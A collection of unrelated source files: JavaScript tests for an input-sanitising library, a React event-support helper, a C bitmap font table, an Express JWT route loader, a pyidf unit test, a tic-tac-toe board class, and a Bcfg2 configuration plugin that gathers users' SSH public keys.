assert(launder.select('hi',[],'bye') === 'bye'); }); it('should return the default if the choice is not found in an array', function(){ assert(launder.select('hi',['not','in','here'],'bye') === 'bye'); }); it('should return the default if the choice is not found in an object', function(){ var s = launder.select('hi', [ { name: 'Not something', value: 'not' }, { name: 'Inside', value: 'in' }, { name: 'Here anymore', valu: 'here'} ],'bye') assert(s === 'bye'); }); it('should return the default if the choice is not found in an array', function(){ assert(launder.select('hi',['not','in','here'],'bye') === 'bye'); }); }); describe('boolean', function(){ it('should do nothing to a proper boolean', function(){ assert(launder.boolean(true) === true); assert(launder.boolean(false) === false); }); it('should convert a string to a proper boolean', function(){ assert(launder.boolean('true') === true); assert(launder.boolean('false') === false); }); it('should return true for string of `t`', function(){ assert(launder.boolean('t') === true); }); it('should return true for string of `y`', function(){ assert(launder.boolean('y') === true); }); it('should return true for string of `1`', function(){ assert(launder.boolean('1') === true); }); it('should return true for integer of 1', function(){ assert(launder.boolean(1) === true); }); it('should return false for an empty string', function(){ assert(launder.boolean('') === false); }); it('should return the default if nothing is passed', function(){ assert(launder.boolean(null, 'yup') === 'yup'); }); it('should return false if nothing is passed and no default', function(){ assert(launder.boolean(null) === false); }); }); describe('addBooleanFilterToCriteria', function(){ var name = 'published'; var criteria = {}; var optionsTrue = { 'published': true }; var optionsFalse = { 'published': false }; var optionsEmpty = { 'published': ''}; it('should not change criteria if option is `any`', function(){ launder.addBooleanFilterToCriteria('any', name, criteria); assert(criteria[name] === undefined); }); it('should use a default of `any` if name is not found in options', function(){ launder.addBooleanFilterToCriteria({}, name, criteria); assert(criteria[name] === undefined); }); it('should use a default of `any` if options is null', function(){ launder.addBooleanFilterToCriteria(null, name, criteria); assert(criteria[name] === undefined); }); it('should use `name` property of `options` if `options` is an object', function(){ launder.addBooleanFilterToCriteria(optionsTrue, name, criteria); assert(criteria[name] === true); var criteria2 = {}; launder.addBooleanFilterToCriteria(optionsFalse, name, criteria2); assert(criteria2[name]['$ne'] === true); }); it('should be able to use a boolean string `true` for options', function(){ var criteria = {}; launder.addBooleanFilterToCriteria('true', name, criteria); assert(criteria[name] === true); }); it('should be able to use a boolean string `y` for options', function(){ var criteria = {}; launder.addBooleanFilterToCriteria('y', name, criteria); assert(criteria[name] === true); }); it('should be able to use a real boolean for options', function(){ var criteria = {}; launder.addBooleanFilterToCriteria(true, name, criteria); assert(criteria[name] === true); var criteria = {}; launder.addBooleanFilterToCriteria(false, name, criteria); assert(criteria[name]['$ne'] === true); }); it('should treat empty string as false', function(){ var criteria = {}; launder.addBooleanFilterToCriteria('', name, criteria); assert(criteria[name]['$ne'] === true); }); it('should treat empty string in an object as false', function(){ var criteria = {}; launder.addBooleanFilterToCriteria(optionsEmpty, name, criteria); assert(criteria[name]['$ne'] === true); }); it('should take a default if `options` or `options[name]` is undefined', function(){ var criteria = {}; launder.addBooleanFilterToCriteria({}, name, criteria, false); assert(criteria[name]['$ne'] === true); }); }); describe('date', function(){ it('should do nothing to a good date', function(){ assert(launder.date('2015-02-19') === '2015-02-19'); }); it('should convert dates in MM/DD/YYYY format', function(){ assert(launder.date('2/19/2015') === '2015-02-19'); }); it('should convert dates in MM/DD/YY format to the past century when that is closest', function() { assert(launder.date('2/19/99', new Date(2015, 1, 1)) === '1999-02-19'); }); it('should convert dates in MM/DD/YY format to the current century when that is closest', function() { assert(launder.date('2/19/15') === '2015-02-19'); }); it('should use the current year if in MM/DD format', function(){ var year = moment().format('YYYY'); assert(launder.date('2/19') === year+'-02-19'); }); it('should accept a date object', function(){ assert(launder.date(new Date(2015, 1, 19)) == '2015-02-19'); }); it('should return current date if the date is not parsable', function(){ assert(launder.date('waffles') === moment().format('YYYY-MM-DD')); }); it('should return default if the date is not parsable', function(){ assert(launder.date('waffles','1989-12-13') == '1989-12-13'); }); }); describe('formatDate', function(){ it('should accept a date object', function(){ assert(launder.formatDate(new Date(2015, 1, 19, 11, 22, 33)) == '2015-02-19'); }); it('should default to current date', function(){ assert(launder.formatDate() == moment().format('YYYY-MM-DD')); }); }); describe('time', function(){ it('should show me a good time', function(){ assert(launder.time('12:34:56') === '12:34:56'); }); it('should show me a good, quick time', function(){ assert(launder.time('12:34') === '12:34:00'); }); it('should show me a really quick good time', function(){ assert(launder.time('12') === '12:00:00'); }); it('should convert 12h to 24h', function(){ assert(launder.time('4:30pm') === '16:30:00'); }); it('should not require the m in pm', function(){ assert(launder.time('4:30p') === '16:30:00'); }); it('should handle lower or uppercase meridiems', function(){ assert(launder.time('4:30pm') === '16:30:00'); assert(launder.time('4:30PM') === '16:30:00'); }); it('should handle no minutes', function(){ assert(launder.time('4 PM') === '16:00:00'); }); it('should default to the current time', function(){ assert(launder.time() === moment().format('HH:mm')); }); it('should accept a default', function(){ assert(launder.time(null, '12:00:00') == '12:00:00'); }); }); describe('formatTime', function(){ it('should accept a date object', function(){ assert(launder.formatTime(new Date(2015, 1, 19, 11, 22, 33)) == '11:22:33'); }); it('should default to current time', function(){ assert(launder.formatTime() == moment().format('HH:mm:ss')); }); }); describe('tags', function(){ var goodTags = ['one', 'two', 'three']; var spaceyTags = [' One', 'TWO', ' three ']; var numberTags = [12, 34]; var troubleTags = ['one', 2, {an: 'object'}, null, 'three']; it('should do nothing to a good array of tags', function(){ var t = launder.tags(goodTags); assert(t.length === 3); assert(t[0] === 'one'); assert(t[1] === 'two'); assert(t[2] === 'three'); }); it('should apply default filterTag function', function(){ var t = launder.tags(spaceyTags); assert(t.length === 3); assert(t[0] === 'one'); assert(t[1] === 'two'); assert(t[2] === 'three'); }); it('should return an empty array if you pass in something that is not an array', function(){ var t = launder.tags({an: 'object', is: 'not', an: 'array'}); assert(Array.isArray(t)); assert(t.length === 0); }); it('should convert numbers to strings in tags', function(){ var t = launder.tags(numberTags); assert(t.length === 2); assert(t[0] === '12'); assert(t[1] === '34'); }); it('should remove things that are not strings or numbers', function(){ var t = launder.tags(troubleTags); assert(t.length === 3); assert(t[0] === 'one'); assert(t[1] === '2'); assert(t[2] === 'three'); }); it('should take a filter function', function(){ var t = launder.tags(numberTags,function(tag){ return tag+'0'}); assert(t.length === 2); assert(t[0] === '120'); assert(t[1] === '340'); }); it('should allow a different filter function to be set during initiation', function(){ var launder = require('../index.js')({ filterTag: function(tag){ return tag+'0'} }); var t = launder.tags(numberTags); assert(t.length === 2); assert(t[0] === '120'); assert(t[1] === '340'); }); it('should remove empty tags', function() { var t = launder.tags([ '1', '2', '' ]); assert(t.length === 2); assert(t[0] === '1'); assert(t[1] === '2'); }); }) describe('id', function(){ it('should do nothing to a good id', function(){ assert(launder.id('aBcD_1234') === 'aBcD_1234'); }); it('should return undefined if not valid', function(){ assert(launder.id('@#%!#%') === undefined); assert(launder.id('abc 123') === undefined); }); it('should return default if not valid', function(){ assert(launder.id('@#%!#%','1234') === '1234') }); }) describe('ids', function(){ var goodIds = ['1001', '1002', '1003']; var troubleIds = ['1001', '1002', {an: 'object'}, null, '1003']; it('should do nothing with a good array of ids', function(){ var i = launder.ids(goodIds); assert(i.length === 3); assert(i[0] === '1001'); assert(i[1] === '1002'); assert(i[2] === '1003'); }); it('should return an empty array if you pass in something that is not an array', function(){ var i = launder.ids({an: 'object', is: 'not', an: 'array'}); assert(Array.isArray(i)); assert(i.length === 0); }); it('should remove items that are not valid ids', function(){ var i = launder.ids(troubleIds); assert(i.length === 3); assert(i[0] === '1001'); assert(i[1] === '1002'); assert(i[2] === '1003'); }); }); });
/** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ import ExecutionEnvironment from 'fbjs/lib/ExecutionEnvironment'; let useHasFeature; if (ExecutionEnvironment.canUseDOM) { useHasFeature = document.implementation && document.implementation.hasFeature && // always returns true in newer browsers as per the standard. // @see http://dom.spec.whatwg.org/#dom-domimplementation-hasfeature document.implementation.hasFeature('', '') !== true; } /** * Checks if an event is supported in the current execution environment. * * NOTE: This will not work correctly for non-generic events such as `change`, * `reset`, `load`, `error`, and `select`. * * Borrows from Modernizr. * * @param {string} eventNameSuffix Event name, e.g. "click". * @param {?boolean} capture Check if the capture phase is supported. * @return {boolean} True if the event is supported. * @internal * @license Modernizr 3.0.0pre (Custom Build) | MIT */ function isEventSupported(eventNameSuffix, capture) { if ( !ExecutionEnvironment.canUseDOM || (capture && !('addEventListener' in document)) ) { return false; } const eventName = 'on' + eventNameSuffix; let isSupported = eventName in document; if (!isSupported) { const element = document.createElement('div'); element.setAttribute(eventName, 'return;'); isSupported = typeof element[eventName] === 'function'; } if (!isSupported && useHasFeature && eventNameSuffix === 'wheel') { // This is the only way to test support for the `wheel` event in IE9+. isSupported = document.implementation.hasFeature('Events.wheel', '3.0'); } return isSupported; } export default isEventSupported;
#ifndef __FONT_H__ #define __FONT_H__ /* * // Summary: font8x8.h * // 8x8 monochrome bitmap fonts for rendering * // * // Author: * // Marcel Sondaar * // International Business Machines (public domain VGA fonts) * // * // License: * // Public Domain */ const int FONT_WIDTH = 8; const int FONT_HEIGHT = 8; char font[96][8] = { { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // U+0020 (space) { 0x18, 0x3C, 0x3C, 0x18, 0x18, 0x00, 0x18, 0x00}, // U+0021 (!) { 0x36, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // U+0022 (") { 0x36, 0x36, 0x7F, 0x36, 0x7F, 0x36, 0x36, 0x00}, // U+0023 (#) { 0x0C, 0x3E, 0x03, 0x1E, 0x30, 0x1F, 0x0C, 0x00}, // U+0024 ($) { 0x00, 0x63, 0x33, 0x18, 0x0C, 0x66, 0x63, 0x00}, // U+0025 (%) { 0x1C, 0x36, 0x1C, 0x6E, 0x3B, 0x33, 0x6E, 0x00}, // U+0026 (&) { 0x06, 0x06, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00}, // U+0027 (') { 0x18, 0x0C, 0x06, 0x06, 0x06, 0x0C, 0x18, 0x00}, // U+0028 (() { 0x06, 0x0C, 0x18, 0x18, 0x18, 0x0C, 0x06, 0x00}, // U+0029 ()) { 0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00}, // U+002A (*) { 0x00, 0x0C, 0x0C, 0x3F, 0x0C, 0x0C, 0x00, 0x00}, // U+002B (+) { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x0C, 0x06}, // U+002C (,) { 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x00}, // U+002D (-) { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x0C, 0x00}, // U+002E (.) { 0x60, 0x30, 0x18, 0x0C, 0x06, 0x03, 0x01, 0x00}, // U+002F (/) { 0x3E, 0x63, 0x73, 0x7B, 0x6F, 0x67, 0x3E, 0x00}, // U+0030 (0) { 0x0C, 0x0E, 0x0C, 0x0C, 0x0C, 0x0C, 0x3F, 0x00}, // U+0031 (1) { 0x1E, 0x33, 0x30, 0x1C, 0x06, 0x33, 0x3F, 0x00}, // U+0032 (2) { 0x1E, 0x33, 0x30, 0x1C, 0x30, 0x33, 0x1E, 0x00}, // U+0033 (3) { 0x38, 0x3C, 0x36, 0x33, 0x7F, 0x30, 0x78, 0x00}, // U+0034 (4) { 0x3F, 0x03, 0x1F, 0x30, 0x30, 0x33, 0x1E, 0x00}, // U+0035 (5) { 0x1C, 0x06, 0x03, 0x1F, 0x33, 0x33, 0x1E, 0x00}, // U+0036 (6) { 0x3F, 0x33, 0x30, 0x18, 0x0C, 0x0C, 0x0C, 0x00}, // U+0037 (7) { 0x1E, 0x33, 0x33, 0x1E, 0x33, 0x33, 0x1E, 0x00}, // U+0038 (8) { 0x1E, 0x33, 0x33, 0x3E, 0x30, 0x18, 0x0E, 0x00}, // U+0039 (9) { 0x00, 0x0C, 0x0C, 0x00, 0x00, 0x0C, 0x0C, 0x00}, // U+003A (:) { 0x00, 0x0C, 0x0C, 0x00, 0x00, 0x0C, 0x0C, 0x06}, // U+003B (//) { 0x18, 0x0C, 0x06, 0x03, 0x06, 0x0C, 0x18, 0x00}, // U+003C (<) { 0x00, 0x00, 0x3F, 0x00, 0x00, 0x3F, 0x00, 0x00}, // U+003D (=) { 0x06, 0x0C, 0x18, 0x30, 0x18, 0x0C, 0x06, 0x00}, // U+003E (>) { 0x1E, 0x33, 0x30, 0x18, 0x0C, 0x00, 0x0C, 0x00}, // U+003F (?) { 0x3E, 0x63, 0x7B, 0x7B, 0x7B, 0x03, 0x1E, 0x00}, // U+0040 (@) { 0x0C, 0x1E, 0x33, 0x33, 0x3F, 0x33, 0x33, 0x00}, // U+0041 (A) { 0x3F, 0x66, 0x66, 0x3E, 0x66, 0x66, 0x3F, 0x00}, // U+0042 (B) { 0x3C, 0x66, 0x03, 0x03, 0x03, 0x66, 0x3C, 0x00}, // U+0043 (C) { 0x1F, 0x36, 0x66, 0x66, 0x66, 0x36, 0x1F, 0x00}, // U+0044 (D) { 0x7F, 0x46, 0x16, 0x1E, 0x16, 0x46, 0x7F, 0x00}, // U+0045 (E) { 0x7F, 0x46, 0x16, 0x1E, 0x16, 0x06, 0x0F, 0x00}, // U+0046 (F) { 0x3C, 0x66, 0x03, 0x03, 0x73, 0x66, 0x7C, 0x00}, // U+0047 (G) { 0x33, 0x33, 0x33, 0x3F, 0x33, 0x33, 0x33, 0x00}, // U+0048 (H) { 0x1E, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x1E, 0x00}, // U+0049 (I) { 0x78, 0x30, 0x30, 0x30, 0x33, 0x33, 0x1E, 0x00}, // U+004A (J) { 0x67, 0x66, 0x36, 0x1E, 0x36, 0x66, 0x67, 0x00}, // U+004B (K) { 0x0F, 0x06, 0x06, 0x06, 0x46, 0x66, 0x7F, 0x00}, // U+004C (L) { 0x63, 0x77, 0x7F, 0x7F, 0x6B, 0x63, 0x63, 0x00}, // U+004D (M) { 0x63, 0x67, 0x6F, 0x7B, 0x73, 0x63, 0x63, 0x00}, // U+004E (N) { 0x1C, 0x36, 0x63, 0x63, 0x63, 0x36, 0x1C, 0x00}, // U+004F (O) { 0x3F, 0x66, 0x66, 0x3E, 0x06, 0x06, 0x0F, 0x00}, // U+0050 (P) { 0x1E, 0x33, 0x33, 0x33, 0x3B, 0x1E, 0x38, 0x00}, // U+0051 (Q) { 0x3F, 0x66, 0x66, 0x3E, 0x36, 0x66, 0x67, 0x00}, // U+0052 (R) { 0x1E, 0x33, 0x07, 0x0E, 0x38, 0x33, 0x1E, 0x00}, // U+0053 (S) { 0x3F, 0x2D, 0x0C, 0x0C, 0x0C, 0x0C, 0x1E, 0x00}, // U+0054 (T) { 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x3F, 0x00}, // U+0055 (U) { 0x33, 0x33, 0x33, 0x33, 0x33, 0x1E, 0x0C, 0x00}, // U+0056 (V) { 0x63, 0x63, 0x63, 0x6B, 0x7F, 0x77, 0x63, 0x00}, // U+0057 (W) { 0x63, 0x63, 0x36, 0x1C, 0x1C, 0x36, 0x63, 0x00}, // U+0058 (X) { 0x33, 0x33, 0x33, 0x1E, 0x0C, 0x0C, 0x1E, 0x00}, // U+0059 (Y) { 0x7F, 0x63, 0x31, 0x18, 0x4C, 0x66, 0x7F, 0x00}, // U+005A (Z) { 0x1E, 0x06, 0x06, 0x06, 0x06, 0x06, 0x1E, 0x00}, // U+005B ([) { 0x03, 0x06, 0x0C, 0x18, 0x30, 0x60, 0x40, 0x00}, // U+005C (\) { 0x1E, 0x18, 0x18, 0x18, 0x18, 0x18, 0x1E, 0x00}, // U+005D (]) { 0x08, 0x1C, 0x36, 0x63, 0x00, 0x00, 0x00, 0x00}, // U+005E (^) { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF}, // U+005F (_) { 0x0C, 0x0C, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00}, // U+0060 (`) { 0x00, 0x00, 0x1E, 0x30, 0x3E, 0x33, 0x6E, 0x00}, // U+0061 (a) { 0x07, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x3B, 0x00}, // U+0062 (b) { 0x00, 0x00, 0x1E, 0x33, 0x03, 0x33, 0x1E, 0x00}, // U+0063 (c) { 0x38, 0x30, 0x30, 0x3e, 0x33, 0x33, 0x6E, 0x00}, // U+0064 (d) { 0x00, 0x00, 0x1E, 0x33, 0x3f, 0x03, 0x1E, 0x00}, // U+0065 (e) { 0x1C, 0x36, 0x06, 0x0f, 0x06, 0x06, 0x0F, 0x00}, // U+0066 (f) { 0x00, 0x00, 0x6E, 0x33, 0x33, 0x3E, 0x30, 0x1F}, // U+0067 (g) { 0x07, 0x06, 0x36, 0x6E, 0x66, 0x66, 0x67, 0x00}, // U+0068 (h) { 0x0C, 0x00, 0x0E, 0x0C, 0x0C, 0x0C, 0x1E, 0x00}, // U+0069 (i) { 0x30, 0x00, 0x30, 0x30, 0x30, 0x33, 0x33, 0x1E}, // U+006A (j) { 0x07, 0x06, 0x66, 0x36, 0x1E, 0x36, 0x67, 0x00}, // U+006B (k) { 0x0E, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x1E, 0x00}, // U+006C (l) { 0x00, 0x00, 0x33, 0x7F, 0x7F, 0x6B, 0x63, 0x00}, // U+006D (m) { 0x00, 0x00, 0x1F, 0x33, 0x33, 0x33, 0x33, 0x00}, // U+006E (n) { 0x00, 0x00, 0x1E, 0x33, 0x33, 0x33, 0x1E, 0x00}, // U+006F (o) { 0x00, 0x00, 0x3B, 0x66, 0x66, 0x3E, 0x06, 0x0F}, // U+0070 (p) { 0x00, 0x00, 0x6E, 0x33, 0x33, 0x3E, 0x30, 0x78}, // U+0071 (q) { 0x00, 0x00, 0x3B, 0x6E, 0x66, 0x06, 0x0F, 0x00}, // U+0072 (r) { 0x00, 0x00, 0x3E, 0x03, 0x1E, 0x30, 0x1F, 0x00}, // U+0073 (s) { 0x08, 0x0C, 0x3E, 0x0C, 0x0C, 0x2C, 0x18, 0x00}, // U+0074 (t) { 0x00, 0x00, 0x33, 0x33, 0x33, 0x33, 0x6E, 0x00}, // U+0075 (u) { 0x00, 0x00, 0x33, 0x33, 0x33, 0x1E, 0x0C, 0x00}, // U+0076 (v) { 0x00, 0x00, 0x63, 0x6B, 0x7F, 0x7F, 0x36, 0x00}, // U+0077 (w) { 0x00, 0x00, 0x63, 0x36, 0x1C, 0x36, 0x63, 0x00}, // U+0078 (x) { 0x00, 0x00, 0x33, 0x33, 0x33, 0x3E, 0x30, 0x1F}, // U+0079 (y) { 0x00, 0x00, 0x3F, 0x19, 0x0C, 0x26, 0x3F, 0x00}, // U+007A (z) { 0x38, 0x0C, 0x0C, 0x07, 0x0C, 0x0C, 0x38, 0x00}, // U+007B ({) { 0x18, 0x18, 0x18, 0x00, 0x18, 0x18, 0x18, 0x00}, // U+007C (|) { 0x07, 0x0C, 0x0C, 0x38, 0x0C, 0x0C, 0x07, 0x00}, // U+007D (}) { 0x6E, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // U+007E (~) { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // U+007F }; #endif
/** * By Evan Raskob (http://twitter.com/evanraskob), */ var handRotation = 0; // degrees the hand is rotated function rotateHand() { var clockHand = document.getElementById("minutehand"); var rx = clockHand.getAttribute('x1'); var ry = clockHand.getAttribute('y1'); clockHand.setAttribute('transform', 'rotate('+handRotation+','+rx+','+ry+')'); // 1 full rotation (360 degrees) is 60,000ms // (1000*60). Since this function will run every // 20ms, that means that each time it runs // gets us 20*1/60000th closer to a full rotation handRotation = handRotation+360*20/(1000*60); // this should count out the seconds //console.log("seconds:" + handRotation/6); if (handRotation > 359) { handRotation = 0; } } //run the expansion function every 600ms (0.6s) setInterval( rotateHand, 20 );
import mongoose from "mongoose"; require("babel-core/register"); require("babel-polyfill"); import fs from "fs"; import path from "path"; import jwt from 'jsonwebtoken'; import express from "express"; import validate from 'express-validation'; import bodyParser from 'body-parser'; import passport from 'passport'; import passportJWT from 'passport-jwt'; import * as Blocks from "../class"; const debug = require('debug')('SB: Controller'); const jwtStrategy = passportJWT.Strategy; export default class Controller { static generateToken(data) { const { validate, jwtFromRequest, secretOrKey, ...opts } = global._block.config.passport; return jwt.sign(data, global._block.config.passport.secretOrKey, opts); } static async loadRoutes() { const readFiles = folder => new Promise((resolve, reject) => { fs.readdir(folder, (err, files) => { if (err) reject(err); resolve(files); }); }); let apps = await readFiles(`${path.dirname(require.main.filename)}/applications`); apps = apps.filter(app => !app.startsWith(".")); let routeFiles = await Promise.all( apps.map(app => readFiles(`${path.dirname(require.main.filename)}/applications/${app}/routes`)) ); routeFiles = routeFiles.map(app => app.filter(routeFile => !routeFile.startsWith(".")) ); let combined = []; routeFiles = routeFiles.map(a => a.map(r => { if (!r.endsWith(".js")) return; if (!r.match(/^[A-Za-z0-9_.-]+$/i)) { throw new Error( `Invalid file name "${r.substr(0, r.length - 3)}" in routes` ); } return r; }).filter(r => !!r) ); for (let i = 0; i < apps.length; i++) { combined.push({ app: apps[i], routes: routeFiles[i].map(r => ({ file: `applications/${apps[i]}/routes/${r}`, name: r.toString().substr(0, r.toString().length - 3) })) }); } const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); if (global._block.config.passport && typeof global._block.config.passport === "object") { debug('Config passport'); const { validate, ...opts } = global._block.config.passport; passport.use(new jwtStrategy(opts, validate)); } const router = express.Router(); app.use("/", router); combined = combined.map(app => { app.routes = app.routes.map(r => { const route = require(`${path.dirname(require.main.filename)}/${r.file}`); const imported = new route(); let reqs = imported.handleRequest(); const handlerException = fn => (req, res, next) => { const p = fn(req, res); if (!!p.then) p.catch((error) => next(error)); }; reqs = reqs.map(req => { const args = []; if (req.secure) { const { validate, ...opts } = global._block.config.passport; args.push((req, res, next) => passport.authenticate('jwt', { session: false }, (e, d) => { if (e) { next(e); } else if (!d) { next(new Blocks.SBError("token is valid but no user found.")); } else { req.jwtPayload = d; next(); } })(req, res, next)); } if (req.parameters) args.push(validate({ body: req.parameters })); args.push(handlerException(req.originalMethod)); return router.route(`/${app.app}/${r.name}`)[req.method.toLowerCase()](...args); }); return { ...r, reqs }; }); return app; }); app.use((req, res, next) => { res.status(404).json(new Blocks.Output({ success: false, message: "API Not found.", status: '404' })); next(); }); app.use((err, req, res, next) => { if (!!process.env.DEBUG) { if (!err instanceof Blocks.SBError) debug(err); res.status(500).json(new Blocks.Output({ success: false, message: err.message, status: '500', data: err.stack })); } else { res.status(500).json(new Blocks.Output({ success: false, message: "Something went wrong.", status: '500' })); } }); await new Promise(resolve => app.listen(global._block.config.port || 3010, () => resolve())); return combined; } constructor({ application = "unspecified" }) { this.application = application; } async beforeResponseHandler({ params, body, method }) { return await Blocks.Hook.executeHooks( { event: "before", type: Object.getPrototypeOf(this.constructor).name, application: this.application, className: this.constructor.name }, { params, body, method } ); } async afterResponseHandler({ params, body, method, output }) { return await Blocks.Hook.executeHooks( { event: "after", type: Object.getPrototypeOf(this.constructor).name, application: this.application, className: this.constructor.name }, { params, body, method, output } ); } handleRequest() { const proto = Object.getPrototypeOf(this); const names = Object.getOwnPropertyNames(proto); const methods = names.filter( name => typeof this[name] === "function" && name !== "constructor" ); return methods.map(m => { try { const ret = this[m](); if (!!ret.method) return { ...ret, func: m }; } catch (e) {} return null; }); // const { params, body, method } = await this.beforeResponseHandler(); // this.params = params; // this.body = body; // this.method = method; // if (!this.response) { // throw new SBError("Controller must have response function."); // } // if (typeof this.response !== "function") { // throw new SBError("this.response must be a function."); // } // this.response(); // const { output } = await this.afterResponseHandler(); // this.output = output; } }
from validateuserdata.validate_user_data import validate_user_data
import os import tempfile import unittest import logging from pyidf import ValidationLevel import pyidf from pyidf.idf import IDF from pyidf.room_air_models import RoomAirSettingsThreeNodeDisplacementVentilation log = logging.getLogger(__name__) class TestRoomAirSettingsThreeNodeDisplacementVentilation(unittest.TestCase): def setUp(self): self.fd, self.path = tempfile.mkstemp() def tearDown(self): os.remove(self.path) def test_create_roomairsettingsthreenodedisplacementventilation(self): pyidf.validation_level = ValidationLevel.error obj = RoomAirSettingsThreeNodeDisplacementVentilation() # object-list var_zone_name = "object-list|Zone Name" obj.zone_name = var_zone_name # object-list var_gain_distribution_schedule_name = "object-list|Gain Distribution Schedule Name" obj.gain_distribution_schedule_name = var_gain_distribution_schedule_name # real var_number_of_plumes_per_occupant = 0.0001 obj.number_of_plumes_per_occupant = var_number_of_plumes_per_occupant # real var_thermostat_height = 0.0001 obj.thermostat_height = var_thermostat_height # real var_comfort_height = 0.0001 obj.comfort_height = var_comfort_height # real var_temperature_difference_threshold_for_reporting = 0.0 obj.temperature_difference_threshold_for_reporting = var_temperature_difference_threshold_for_reporting idf = IDF() idf.add(obj) idf.save(self.path, check=False) with open(self.path, mode='r') as f: for line in f: log.debug(line.strip()) idf2 = IDF(self.path) self.assertEqual(idf2.roomairsettingsthreenodedisplacementventilations[0].zone_name, var_zone_name) self.assertEqual(idf2.roomairsettingsthreenodedisplacementventilations[0].gain_distribution_schedule_name, var_gain_distribution_schedule_name) self.assertAlmostEqual(idf2.roomairsettingsthreenodedisplacementventilations[0].number_of_plumes_per_occupant, var_number_of_plumes_per_occupant) self.assertAlmostEqual(idf2.roomairsettingsthreenodedisplacementventilations[0].thermostat_height, var_thermostat_height) self.assertAlmostEqual(idf2.roomairsettingsthreenodedisplacementventilations[0].comfort_height, var_comfort_height) self.assertAlmostEqual(idf2.roomairsettingsthreenodedisplacementventilations[0].temperature_difference_threshold_for_reporting, var_temperature_difference_threshold_for_reporting)
export default class Board { /** * Constructor of class Board. * * @param int [n] board size. * @since 1.0.0 * @author Muhammad Umer Farooq * * @return void. */ constructor(n) { //size of board if (n == 3) this.size = n else throw "The board size should be equal to 3." } /** * Get array of size*size. * * @since 1.0.0 * @author Muhammad Umer Farooq * * @return array. */ getBoard() { //Generate Raw board let arr = [] for (let row = 1; row <= this.size; row++) { arr.push([-1, -1, -1]); } return arr } /** * Create and Prepend HTML table. * * @since 1.0.0 * @author Muhammad Umer Farooq * * @return void. */ draw() { //Generate HTML table size*size var board = document.getElementsByClassName('board')[0] var tbl = document.createElement('table') tbl.className = "table table-responsive" tbl.setAttribute('id', 'table'); //tbl.setAttribute('border', 1) var tbdy = document.createElement('tbody') for (let row = 1; row <= this.size; row++) { var tr = document.createElement('tr') for (let col = 1; col <= this.size; col++) { var td = document.createElement('td') td.appendChild(document.createTextNode(' ')) td.setAttribute('value', row + "" + col) td.setAttribute("turn", -1); td.setAttribute("disable", false) tr.appendChild(td) } tbdy.appendChild(tr) } tbl.appendChild(tbdy) //prepend to body. board.insertBefore(tbl, board.firstChild) } }
// -------------------- // Account namespace controller // index action // -------------------- // libraries var forms = require('../../../../../lib/forms'); // exports // action definition exports = module.exports = { // vars title: 'My Account', // functions init: function(defaultFn) { // record model fields in action this.fields = forms.createFieldsFromModel(this.route.overlook.models.user); delete this.fields.type; delete this.fields.isActive; return defaultFn(); }, load: function() { var options = { where: {id: this.user.id}, include: [{all: 'One', attributes: ['id', 'name']}] }; return this.models.user.find(options).bind(this) .then(function(user) { this.dataMain = this.data.user = user; }); }, makeDisplayOptions: function(defaultFn) { return defaultFn().bind(this) .then(function() { this.displayOptions.options.data = { user: forms.getValuesByFields(this.dataMain, this.fields) }; }); } };
/* * Copyright (c) Facebook, Inc. and its affiliates. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. */ #pragma once #include <memory> #include <tensorpipe/channel/context.h> namespace tensorpipe { namespace channel { namespace cma { std::shared_ptr<Context> create(); } // namespace cma } // namespace channel } // namespace tensorpipe
import lxml.etree import Bcfg2.Server import Bcfg2.Server.Plugin import glob import os import socket #manage boot symlinks #add statistics check to do build->boot mods #map profiles: first array is not empty we replace the -p with a determined profile. logger = Bcfg2.Server.Plugin.logger class BBfile(Bcfg2.Server.Plugin.XMLFileBacked): """Class for bb files.""" def Index(self): """Build data into an xml object.""" try: self.data = lxml.etree.XML(self.data, parser=Bcfg2.Server.XMLParser) except lxml.etree.XMLSyntaxError: Bcfg2.Server.Plugin.logger.error("Failed to parse %s" % self.name) return self.tftppath = self.data.get('tftp', '/tftpboot') self.macs = {} self.users = {} self.actions = {} self.bootlinks = [] for node in self.data.findall('Node'): iface = node.find('Interface') if iface != None: mac = "01-%s" % (iface.get('mac'.replace(':','-').lower())) self.actions[node.get('name')] = node.get('action') self.bootlinks.append((mac, node.get('action'))) try: ip = socket.gethostbyname(node.get('name')) except: logger.error("failed host resolution for %s" % node.get('name')) self.macs[node.get('name')] = (iface.get('mac'), ip) else: logger.error("%s" % lxml.etree.tostring(node)) self.users[node.get('name')] = node.get('user',"").split(':') def enforce_bootlinks(self): for mac, target in self.bootlinks: path = self.tftppath + '/' + mac if not os.path.islink(path): logger.error("Boot file %s not a link" % path) if target != os.readlink(path): try: os.unlink(path) os.symlink(target, path) except: logger.error("Failed to modify link %s" % path) class BBDirectoryBacked(Bcfg2.Server.Plugin.DirectoryBacked): __child__ = BBfile class BB(Bcfg2.Server.Plugin.Plugin, Bcfg2.Server.Plugin.Connector): """The BB plugin maps users to machines and metadata to machines.""" name = 'BB' deprecated = True def __init__(self, core, datastore): Bcfg2.Server.Plugin.Plugin.__init__(self, core, datastore) Bcfg2.Server.Plugin.Connector.__init__(self) self.store = BBDirectoryBacked(self.data, core.fam) def get_additional_data(self, metadata): users = {} for user in self.store.entries['bb.xml'].users.get(metadata.hostname.split(".")[0], []): pubkeys = [] for fname in glob.glob('/home/%s/.ssh/*.pub'%user): pubkeys.append(open(fname).read()) users[user] = pubkeys return dict([('users', users), ('macs', self.store.entries['bb.xml'].macs)])
